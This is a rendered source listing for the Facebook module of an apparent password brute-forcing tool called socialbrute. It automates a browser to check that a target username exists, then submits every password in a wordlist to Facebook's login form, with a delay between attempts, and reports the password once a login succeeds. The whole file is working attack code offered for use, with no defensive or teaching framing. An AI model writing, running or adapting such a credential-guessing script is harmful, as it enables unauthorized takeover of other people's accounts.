Source code for socialbrute.modules.facebook
import time
[docs]class Facebook:
def __init__(self, browser):
self.browser = browser
[docs] def set_config(self, username, wordlist, delay):
self.username = username
self.name = ''
self.wordlist = wordlist
self.delay = delay
self.url = 'https://www.facebook.com/login.php'
[docs] def check_user(self):
self.browser.driver.get(self.url)
email = self.browser.driver.find_element_by_id('email')
email.send_keys(self.username)
form = self.browser.driver.find_element_by_id('login_form')
form.submit()
try:
name = self.browser.driver.find_element_by_xpath(
"//span[contains(text(), 'Log In as')]")
if name:
self.name = name.text.replace('Log In as ', '')
return True
else:
return False
except BaseException:
return False
[docs] def crack(self):
passwords = []
found = ''
with open(self.wordlist, 'r') as f:
for line in f:
passwords.append(line.strip('\n'))
for password in passwords:
self.browser.driver.get(self.url)
email = self.browser.driver.find_element_by_id('email')
email.send_keys(self.username)
pwd = self.browser.driver.find_element_by_id('pass')
pwd.send_keys(password)
form = self.browser.driver.find_element_by_id('login_form')
form.submit()
url = self.browser.driver.current_url
if (url != self.url) and ('login_attempt' not in url):
found = password
break
time.sleep(self.delay)
return found